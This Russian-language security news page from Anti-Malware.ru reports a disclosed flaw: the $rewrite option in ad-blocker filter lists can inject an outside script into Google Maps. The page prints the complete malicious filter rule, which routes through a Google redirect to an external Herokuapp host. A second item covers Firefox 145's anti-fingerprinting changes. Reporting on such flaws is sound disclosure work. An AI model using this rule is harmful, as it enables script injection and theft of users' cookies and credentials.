Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Новый эксплойт, недавно обнаруженный экспертом в области кибербезопасности, способен использовать фильтры популярных блокировщиков рекламы Adblock Plus, AdBlock и uBlocker для инъекции сторонних скриптов в код страниц веб-сайтов.

Adblock Plus, AdBlock и uBlocker представляют собой специальные расширения для браузеров, помогающие пользователям скрывать надоедливую и агрессивную рекламу со страниц ресурсов.

База пользователей этих блокировщиков насчитывает более 10 миллионов человек. Таким образом, если злоумышленнику удастся внедрить вредоносные скрипты, он получит возможность красть файлы cookie, учетные данные, а также осуществлять нужные ему редиректы.

Работа блокировщиков рекламы завязана на использовании списка URL, на которых был отмечен рекламный контент или даже вредоносное поведение. Тот же Adblock Plus, например, запрещает браузеру подключаться к этим ссылкам, следовательно, рекламные скрипты не в состоянии загрузиться.

Вся проблема кроется в опции списка фильтров под названием $rewrite, которая была представлена в 2018 году (в Adblocker Plus 3.2). Эта функция позволяет разработчику подменить запрос, совпадающий с определенным регулярным выражением, другим URL.

Единственное условие — заменяемая строка должна быть относительным URL-адресом. Таким образом, если запрос для example.com/ad.gif заменить на example.com/puppies.gif, пользователь вместо рекламы увидит картинку с милыми щенками.

При этом разработчики предусмотрели защиту, запретив запросы вида SCRIPT, SUBDOCUMENT, OBJECT и OBJECT_SUBREQUEST — с ними эта функция не будет работать.

Однако исследователь Армин Себастьян нашел способ, позволяющий создать правило, благодаря которому сторонний скрипт можно встроить в контент конкретного сайта.

Для этого потребуется найти ресурс, который допускает загрузку скриптов со сторонних доменов, а также использует XMLHttpRequest или Fetch для загрузки скриптов. Сам Себастьян довольно быстро нашел такой ресурс — он использовал Google Maps для демонстрации уязвимости.

Google Maps использует XMLHttpRequest для загрузки скриптов, что позволило эксперту воспользоваться функцией фильтров $rewrite для задействования скрипта со стороннего домена. Пример:

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1

Если пользователь в этом случае посетит google[.]com/maps/, фильтр использует редиректы Google для считывания контента с majestic-ramsons.herokuapp[.]com/.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

В Firefox 145 усилили защиту от отслеживания по цифровому отпечатку

Mozilla объявила о крупном обновлении, направленном на защиту конфиденциальности в браузере Firefox 145. Разработчики дополнительно снизили риски отслеживания пользователей с помощью технологии цифрового отпечатка (fingerprinting). Свежий релиз знаменитой «лисы» уже должен быть доступен для скачивания и установки.

Пока новые механизмы работают только в режиме приватного просмотра и в режиме максимальной защиты Enhanced Tracking Protection (ETP Strict), но после тестирования они будут включены по умолчанию для всех пользователей.

Цифровые отпечатки позволяют сайтам идентифицировать человека даже без cookies — по таким косвенным признакам, как временная зона, разрешение экрана, модель видеокарты, количество ядер процессора, установленные шрифты и прочие параметры устройства.

Mozilla напомнила, что разработчики Firefox постепенно внедряют защиту от подобных методов с 2021 года. Первая фаза («Phase 1 Protections») сократила возможность отслеживания с 65% до 35%. Теперь же вторая фаза снижает показатель до 20%.

В Firefox 145 появились следующие улучшения:

  • при чтении фоновых изображений сайтами в данные добавляется случайный шум, чтобы затруднить анализ;
  • браузер использует только стандартные системные шрифты, блокируя локальные (за исключением некоторых языковых наборов — японского, китайского, арабского и др.);
  • поддержка сенсорного экрана всегда обозначается как 0, 1 или 5 точек касания;
  • экранное разрешение занижается на 48 пикселей по высоте;
  • число ядер процессора всегда отображается как 2, вне зависимости от реального количества.

Mozilla подчёркивает, что не может полностью заблокировать все источники цифровых отпечатков — это нарушит работу многих сайтов, особенно сервисов, использующих реальные данные о времени и местоположении. Поэтому при необходимости пользователь сможет отключить защиту для конкретных сайтов.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru